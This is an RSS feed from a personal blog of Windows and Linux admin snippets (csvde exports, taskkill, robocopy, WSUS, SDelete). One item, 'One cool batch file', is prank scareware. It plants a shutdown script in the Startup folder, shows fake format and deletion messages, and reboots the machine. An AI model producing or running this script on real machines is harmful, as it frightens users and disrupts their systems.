<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jorink.nl &#187; Batch files</title>
	<atom:link href="http://www.jorink.nl/category/batch-files/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.jorink.nl</link>
	<description>Just for documentation</description>
	<lastBuildDate>Thu, 15 Dec 2011 09:36:12 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>List of users with their email adresses</title>
		<link>http://www.jorink.nl/2011/05/list-of-users-with-their-email-adresses/</link>
		<comments>http://www.jorink.nl/2011/05/list-of-users-with-their-email-adresses/#comments</comments>
		<pubDate>Thu, 12 May 2011 09:58:06 +0000</pubDate>
		<dc:creator>Arjan Jorink</dc:creator>
				<category><![CDATA[Batch files]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[Batch]]></category>
		<category><![CDATA[CLI]]></category>

		<guid isPermaLink="false">http://www.jorink.nl/?p=560</guid>
		<description><![CDATA[csvde -f yourfile.csv -r "(&#38;(objectCategory=Person)(objectClass=user))" –l "sAMaccountname,mail"]]></description>
			<content:encoded><![CDATA[<p><code>csvde -f yourfile.csv -r "(&amp;(objectCategory=Person)(objectClass=user))" –l "sAMaccountname,mail"</code></p>
]]></content:encoded>
			<wfw:commentRss>http://www.jorink.nl/2011/05/list-of-users-with-their-email-adresses/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Delete all thumbs.db</title>
		<link>http://www.jorink.nl/2010/11/delete-all-thumbs-db/</link>
		<comments>http://www.jorink.nl/2010/11/delete-all-thumbs-db/#comments</comments>
		<pubDate>Mon, 29 Nov 2010 14:30:27 +0000</pubDate>
		<dc:creator>Arjan Jorink</dc:creator>
				<category><![CDATA[Batch files]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[CLI]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[Ubuntu 10.04]]></category>
		<category><![CDATA[Ubuntu 10.10]]></category>

		<guid isPermaLink="false">http://www.jorink.nl/?p=485</guid>
		<description><![CDATA[Windows creates in every folder with pictures a thumbs.db file. Linux doesn&#8217;t need them, so here is a simple command to get rid of them. sudo find /home/user -name Thumbs.db -exec rm {} \;]]></description>
			<content:encoded><![CDATA[<p>Windows creates in every folder with pictures a thumbs.db file.</p>
<p>Linux doesn&#8217;t need them, so here is a simple command to get rid of them.</p>
<p><code>sudo find /home/user -name Thumbs.db -exec rm {} \;</code></p>
]]></content:encoded>
			<wfw:commentRss>http://www.jorink.nl/2010/11/delete-all-thumbs-db/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Remove empty directories</title>
		<link>http://www.jorink.nl/2010/11/remove-empty-directories/</link>
		<comments>http://www.jorink.nl/2010/11/remove-empty-directories/#comments</comments>
		<pubDate>Mon, 29 Nov 2010 14:28:20 +0000</pubDate>
		<dc:creator>Arjan Jorink</dc:creator>
				<category><![CDATA[Batch files]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[CLI]]></category>
		<category><![CDATA[Script]]></category>
		<category><![CDATA[Ubuntu 10.04]]></category>
		<category><![CDATA[Ubuntu 10.10]]></category>

		<guid isPermaLink="false">http://www.jorink.nl/?p=483</guid>
		<description><![CDATA[To remove empty directories in a directory structure use the following command : sudo find /begin/here -type d -empty -delete]]></description>
			<content:encoded><![CDATA[<p>To remove empty directories in a directory structure use the following command :</p>
<p><code>sudo find /begin/here -type d -empty -delete</code></p>
]]></content:encoded>
			<wfw:commentRss>http://www.jorink.nl/2010/11/remove-empty-directories/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Taskkill command</title>
		<link>http://www.jorink.nl/2010/09/taskkill-command/</link>
		<comments>http://www.jorink.nl/2010/09/taskkill-command/#comments</comments>
		<pubDate>Mon, 27 Sep 2010 09:10:38 +0000</pubDate>
		<dc:creator>Arjan Jorink</dc:creator>
				<category><![CDATA[Batch files]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[Batch]]></category>
		<category><![CDATA[CLI]]></category>

		<guid isPermaLink="false">http://www.jorink.nl/?p=392</guid>
		<description><![CDATA[taskkill /f /im notepad.exe Kills the open notepad task, if open. taskkill [/s Computer] [/u Domain\User [/p Password]]] [/fi FilterName] [/pid ProcessID]&#124;[/im ImageName] [/f][/t] /s computer Specifies the name or IP address of a remote computer (do not use backslashes). The default is the local computer. /u domain\user Runs the command with the account permissions [...]]]></description>
			<content:encoded><![CDATA[<p><strong>taskkill /f /im notepad.exe</strong></p>
<p>Kills the open notepad task, if open.</p>
<p>taskkill [/s Computer] [/u Domain\User [/p Password]]] [/fi FilterName] [/pid ProcessID]|[/im ImageName] [/f][/t]<span id="more-392"></span></p>
<table cellspacing="1" cellpadding="5">
<tbody>
<tr>
<td width="105" valign="top">/s computer</td>
<td width="730" valign="top">Specifies the name or IP address of a remote computer (do not use backslashes). The default is the local computer.</td>
</tr>
<tr>
<td width="105" valign="top">/u domain\user</td>
<td width="730" valign="top">Runs  the command with the account permissions of the user specified by User  or Domain\User. The default is the permissions of the current logged on  user on the computer issuing the command.</td>
</tr>
<tr>
<td width="105" valign="top">/p password</td>
<td width="730" valign="top">Specifies the password of the user account that is specified in the /u parameter.</td>
</tr>
<tr>
<td width="105" valign="top">/fi FilterName</td>
<td width="730" valign="top">Specifies the types of process(es) to include in or exclude from termination. The following are valid filter names, operators, and values.</p>
<table cellpadding="0" width="730">
<tbody>
<tr>
<td width="84" valign="top"><strong>Name</strong></td>
<td width="97" valign="top"><strong>Operators *</strong></td>
<td width="543" valign="top"><strong>Value</strong></td>
</tr>
<tr>
<td width="84" valign="top">Hostname</td>
<td width="97" valign="top">eq, ne</td>
<td width="543" valign="top">Any valid string.</td>
</tr>
<tr>
<td width="84" valign="top">Status</td>
<td width="97" valign="top">eq, ne</td>
<td width="543" valign="top">RUNNING|NOT RESPONDING</td>
</tr>
<tr>
<td width="84" valign="top">Imagename</td>
<td width="97" valign="top">eq, ne</td>
<td width="543" valign="top">Any valid string.</td>
</tr>
<tr>
<td width="84" valign="top">PID</td>
<td width="97" valign="top">eq, ne, gt, lt, ge, le</td>
<td width="543" valign="top">Any valid positive integer.</td>
</tr>
<tr>
<td width="84" valign="top">Session</td>
<td width="97" valign="top">eq, ne, gt, lt, ge, le</td>
<td width="543" valign="top">Any valid session number.</td>
</tr>
<tr>
<td width="84" valign="top">CPUTime</td>
<td width="97" valign="top">eq, ne, gt, lt, ge, le</td>
<td width="543" valign="top">Valid  time in the format of hh:mm:ss. The mm and ss parameters should be  between 0 and 59 and hh can be any valid unsigned numeric value.</td>
</tr>
<tr>
<td width="84" valign="top">Memusage</td>
<td width="97" valign="top">eq, ne, gt, lt, ge, le</td>
<td width="543" valign="top">Any valid integer.</td>
</tr>
<tr>
<td width="84" valign="top">Username</td>
<td width="97" valign="top">eq, ne</td>
<td width="543" valign="top">Any valid user name ([Domain\]User).</td>
</tr>
<tr>
<td width="84" valign="top">Services</td>
<td width="97" valign="top">eq, ne</td>
<td width="543" valign="top">Any valid string.</td>
</tr>
<tr>
<td width="84" valign="top">Windowtitle</td>
<td width="97" valign="top">eq, ne</td>
<td width="543" valign="top">Any valid string.</td>
</tr>
</tbody>
</table>
</td>
</tr>
<tr>
<td width="105" valign="top">/pid processID</td>
<td width="730" valign="top">Specifies the process ID of the process to be terminated.</td>
</tr>
<tr>
<td width="105" valign="top">/im ImageName</td>
<td width="730" valign="top">Specifies the image name of the process to be terminated. Use the wildcard (*) to specify all image names.</td>
</tr>
<tr>
<td width="105" valign="top">/f</td>
<td width="730" valign="top">Specifies  that process(es) be forcefully terminated. This parameter is ignored  for remote processes; all remote processes are forcefully terminated.</td>
</tr>
<tr>
<td width="105" valign="top">/t</td>
<td width="730" valign="top">Specifies to terminate all child processes along with the parent process, commonly known as a tree kill.</td>
</tr>
</tbody>
</table>
<p>* Operaters are<br />
eq = EQuals<br />
ne =Not Equal<br />
gt = Greater Than<br />
lt = Less Than<br />
ge = Greater than or Equals to<br />
le = Less than or Equals to</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jorink.nl/2010/09/taskkill-command/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Create backup file with date of today</title>
		<link>http://www.jorink.nl/2010/06/create-backup-file-with-date-of-today/</link>
		<comments>http://www.jorink.nl/2010/06/create-backup-file-with-date-of-today/#comments</comments>
		<pubDate>Thu, 24 Jun 2010 14:43:56 +0000</pubDate>
		<dc:creator>Arjan Jorink</dc:creator>
				<category><![CDATA[Batch files]]></category>
		<category><![CDATA[CLI]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[SharePoint]]></category>

		<guid isPermaLink="false">http://www.jorink.nl/?p=332</guid>
		<description><![CDATA[How to create a backup file with the date of today. Here is an example with STSADM from Sharepoint Services. stsadm -o backup -filename &#8220;\\gl-nas-01\backup$\Sharepoint\GL-SP-01\%date:~-10,3%%date:~-7,3%%date:~-4%.dat&#8221; -url http://intranet/sites/home]]></description>
			<content:encoded><![CDATA[<p>How to create a backup file with the date of today.<br />
Here is an example with STSADM from Sharepoint Services.</p>
<blockquote><p>stsadm -o backup -filename &#8220;\\gl-nas-01\backup$\Sharepoint\GL-SP-01\%date:~-10,3%%date:~-7,3%%date:~-4%.dat&#8221; -url http://intranet/sites/home</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.jorink.nl/2010/06/create-backup-file-with-date-of-today/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>One cool batch file &#8211; ;-D</title>
		<link>http://www.jorink.nl/2010/03/one-cool-batch-file-d/</link>
		<comments>http://www.jorink.nl/2010/03/one-cool-batch-file-d/#comments</comments>
		<pubDate>Fri, 26 Mar 2010 16:59:51 +0000</pubDate>
		<dc:creator>Arjan Jorink</dc:creator>
				<category><![CDATA[Batch files]]></category>
		<category><![CDATA[CLI]]></category>
		<category><![CDATA[Microsoft]]></category>

		<guid isPermaLink="false">http://www.jorink.nl/?p=263</guid>
		<description><![CDATA[@echo off echo shutdown -s -t 5 -c &#8220;Windows is shutting down due to an internal error&#8221; &#62; C:\close.bat copy C:\close.bat &#8220;C:\documents and settings\all users\start menu\programs\startup\&#8221; cls echo Maximize this window to continue echo Wscript.Sleep 4000 &#62; C:\sleep1.vbs call C:\sleep1.vbs echo Msgbox&#8221;Critical system process failure. Press enter to to begin auto fix.&#8221; &#62; c:\error1.vbs call [...]]]></description>
			<content:encoded><![CDATA[<blockquote><p>@echo off<br />
echo shutdown -s -t 5 -c &#8220;Windows is shutting down due to an internal error&#8221; &gt; C:\close.bat<br />
copy C:\close.bat &#8220;C:\documents and settings\all users\start menu\programs\startup\&#8221;<br />
cls<br />
echo Maximize this window to continue<br />
echo Wscript.Sleep 4000 &gt; C:\sleep1.vbs<br />
call C:\sleep1.vbs<br />
echo  Msgbox&#8221;Critical system process failure. Press enter to to begin auto fix.&#8221; &gt; c:\error1.vbs<br />
call c:\error1.vbs<br />
echo Formatting c: drive&#8230;<br />
echo Wscript.Sleep 2000 &gt; C:\sleep2.vbs<br />
call C:\sleep1.vbs<br />
echo The following files were are infected and should be deleted immediately<br />
call C:\sleep1.vbs<br />
dir /s C:\*.exe<br />
dir C:<br />
call C:\sleep1.vbs<br />
cls<br />
echo Deleting files 36 percent complete<br />
call C:\sleep2.vbs<br />
echo Deleting files 79 percent complete<br />
call C:\sleep2.vbs<br />
echo Deleting files 100 percent complete<br />
call C:\sleep2.vbs<br />
echo Files successfully deleted<br />
call C:\sleep1.vbs<br />
cls<br />
echo All files in the windows registry were also deleted<br />
echo A full reinstall is required to continue using windows<br />
call C:\sleep2.vbs<br />
echo Msgbox&#8221;Windows is not responding, shutting down&#8221; &gt; c:\error2.vbs<br />
call C:\error2.vbs<br />
call C:\sleep2.vbs<br />
echo Msgbox&#8221;Applications will automatically closed, all unsaved data will be lost&#8221; &gt; C:\error3.vbs<br />
call C:\error3.vbs<br />
cls<br />
ECHO</p>
<p>ECHO &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
call C:\sleep1.vbs<br />
shutdown -r -t 5</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.jorink.nl/2010/03/one-cool-batch-file-d/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Force the update detection from Automatic Update Client</title>
		<link>http://www.jorink.nl/2010/03/force-the-update-detection-from-automatic-update-client/</link>
		<comments>http://www.jorink.nl/2010/03/force-the-update-detection-from-automatic-update-client/#comments</comments>
		<pubDate>Mon, 22 Mar 2010 22:53:33 +0000</pubDate>
		<dc:creator>Arjan Jorink</dc:creator>
				<category><![CDATA[Batch files]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[CLI]]></category>
		<category><![CDATA[WSUS]]></category>

		<guid isPermaLink="false">http://www.jorink.nl/?p=243</guid>
		<description><![CDATA[When deploying a new Windows XP installation your first task is installing the countless Windows updates. When you wait for Windows XP to check for updates you&#8217;ll need a lot of time. To accelerate this process just run the following batch file. @echo on net stop wuauserv REG DELETE &#8220;HKLM\Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update&#8221; /v LastWaitTimeout /f REG [...]]]></description>
			<content:encoded><![CDATA[<p>When deploying a new Windows XP installation your first task is installing the countless Windows updates.<br />
When you wait for Windows XP to check for updates you&#8217;ll need a lot of time. To accelerate this process just run the following batch file.</p>
<blockquote><p>@echo on<br />
net stop wuauserv<br />
REG DELETE  &#8220;HKLM\Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto  Update&#8221; /v LastWaitTimeout /f<br />
REG DELETE  &#8220;HKLM\Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto  Update&#8221; /v DetectionStartTime /f<br />
Reg Delete  &#8220;HKLM\Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto  Update&#8221; /v NextDetectionTime /f<br />
net start wuauserv<br />
wuauclt  /detectnow<br />
@echo off<br />
Echo This AU client will now check  for updates on the Local WSUS Server.</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.jorink.nl/2010/03/force-the-update-detection-from-automatic-update-client/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Copy a directory but only include specific files (extension)</title>
		<link>http://www.jorink.nl/2010/03/copy-a-directory-but-only-include-specific-files-extension/</link>
		<comments>http://www.jorink.nl/2010/03/copy-a-directory-but-only-include-specific-files-extension/#comments</comments>
		<pubDate>Tue, 09 Mar 2010 15:41:40 +0000</pubDate>
		<dc:creator>Arjan Jorink</dc:creator>
				<category><![CDATA[Batch files]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[CLI]]></category>

		<guid isPermaLink="false">http://www.jorink.nl/?p=204</guid>
		<description><![CDATA[ROBOCOPY C:\Source D:\Destination *.zip *.txt /E /E = copy subdirectories, including empty ones /S = copy subdirectories, excluding empty ones More information about robocopy, click here]]></description>
			<content:encoded><![CDATA[<blockquote><p>ROBOCOPY C:\Source D:\Destination *.zip *.txt /E</p></blockquote>
<p>/E = copy subdirectories, including empty ones<br />
/S = copy subdirectories, excluding empty ones</p>
<p>More information about robocopy, click <a href="http://nl.wikipedia.org/wiki/Robocopy" target="_blank">here</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.jorink.nl/2010/03/copy-a-directory-but-only-include-specific-files-extension/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Remove empty folders and subfolders</title>
		<link>http://www.jorink.nl/2010/03/remove-empty-folders-and-subfolders/</link>
		<comments>http://www.jorink.nl/2010/03/remove-empty-folders-and-subfolders/#comments</comments>
		<pubDate>Tue, 09 Mar 2010 10:30:18 +0000</pubDate>
		<dc:creator>Arjan Jorink</dc:creator>
				<category><![CDATA[Batch files]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[CLI]]></category>

		<guid isPermaLink="false">http://www.jorink.nl/?p=189</guid>
		<description><![CDATA[This little batch file scans the directory that was provided as a parameter and all its sub-directories for empty folders and deletes them, including the provided folder itself, if it is empty as well (or became empty after all empty sub-folders were removed). RemoveEmptySubFolders.bat @echo off set Folder=&#8221;%~1&#8243; if %Folder%==&#8221;" @echo Syntax RemoveEmptySubFolders Folder&#38;goto :EOF [...]]]></description>
			<content:encoded><![CDATA[<p>This little batch file  scans the directory that was provided as a parameter and all its  sub-directories for empty folders and deletes them, including the  provided folder itself, if it is empty as well (or became empty after  all empty sub-folders were removed).</p>
<p>RemoveEmptySubFolders.bat</p>
<p><!--CRLF--><!--CRLF--></p>
<blockquote><p>@echo off<br />
set Folder=&#8221;%~1&#8243;<br />
if %Folder%==&#8221;" @echo Syntax RemoveEmptySubFolders Folder&amp;goto :EOF<br />
if not exist %Folder% @echo Syntax RemoveEmptySubFolders Folder &#8211; %Folder% not found.&amp;goto :EOF<br />
setlocal</p>
<p>REM REMOVE EMPTY SUBFOLDERS</p>
<p>for /f &#8220;tokens=*&#8221; %%A in (&#8216;dir /ad /s /b %Folder% ^|Sort /Reverse&#8217;) do (<br />
rmDir &#8220;%%A&#8221; 2&gt;NUL<br />
)</p>
<p>REM REMOVE FOLDER, IF EMPTY</p>
<p>rmDir %Folder% 2&gt;NUL<br />
endlocal</p></blockquote>
<p><!--CRLF--><!--CRLF--><!--CRLF--><!--CRLF--><!--CRLF--><!--CRLF--></p>
]]></content:encoded>
			<wfw:commentRss>http://www.jorink.nl/2010/03/remove-empty-folders-and-subfolders/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Defrag and SDelete on every fixed harddisk</title>
		<link>http://www.jorink.nl/2010/03/defrag-and-sdelete-on-every-harddisk/</link>
		<comments>http://www.jorink.nl/2010/03/defrag-and-sdelete-on-every-harddisk/#comments</comments>
		<pubDate>Fri, 05 Mar 2010 08:53:08 +0000</pubDate>
		<dc:creator>Arjan Jorink</dc:creator>
				<category><![CDATA[Batch files]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[CLI]]></category>

		<guid isPermaLink="false">http://www.jorink.nl/?p=159</guid>
		<description><![CDATA[Use this VBS script to run a defrag en SDelete on all your fixed drives from your computer Set WshShell = WScript.CreateObject(&#8220;WScript.Shell&#8221;) Dim fso, d, dc Set fso = CreateObject(&#8220;Scripting.FileSystemObject&#8221;) Set dc = fso.Drives WshShell.RegWrite &#8220;HKCU\Software\Sysinternals\&#8221;, 0, &#8220;REG_SZ&#8221; WshShell.RegWrite &#8220;HKCU\Software\Sysinternals\SDelete\&#8221;, 0, &#8220;REG_SZ&#8221; WshShell.RegWrite &#8220;HKCU\Software\Sysinternals\SDelete\EulaAccepted&#8221;, 1, &#8220;REG_DWORD&#8221; For Each d in dc If d.DriveType = 2 [...]]]></description>
			<content:encoded><![CDATA[<p>Use this VBS script to run a defrag en SDelete on all your fixed drives from your computer</p>
<blockquote><p>Set WshShell = WScript.CreateObject(&#8220;WScript.Shell&#8221;)</p>
<p>Dim fso, d, dc<br />
Set fso = CreateObject(&#8220;Scripting.FileSystemObject&#8221;)<br />
Set dc = fso.Drives</p>
<p>WshShell.RegWrite &#8220;HKCU\Software\Sysinternals\&#8221;, 0, &#8220;REG_SZ&#8221;<br />
WshShell.RegWrite &#8220;HKCU\Software\Sysinternals\SDelete\&#8221;, 0, &#8220;REG_SZ&#8221;<br />
WshShell.RegWrite &#8220;HKCU\Software\Sysinternals\SDelete\EulaAccepted&#8221;, 1, &#8220;REG_DWORD&#8221;</p>
<p>For Each d in dc<br />
If d.DriveType = 2 Then<br />
Return = WshShell.Run(&#8220;sdelete -c &#8221; &amp; d, 1, TRUE)<br />
Return = WshShell.Run(&#8220;defrag &#8221; &amp; d &amp; &#8221; -f&#8221;, 1, TRUE)&#8217;<br />
End If<br />
Next</p>
<p>Set WshShell = Nothing</p></blockquote>
<p>Be sure that <a href="http://technet.microsoft.com/en-us/sysinternals/bb897443.aspx" target="_blank">SDelete</a> is located in the same directory as this VBS script.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jorink.nl/2010/03/defrag-and-sdelete-on-every-harddisk/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

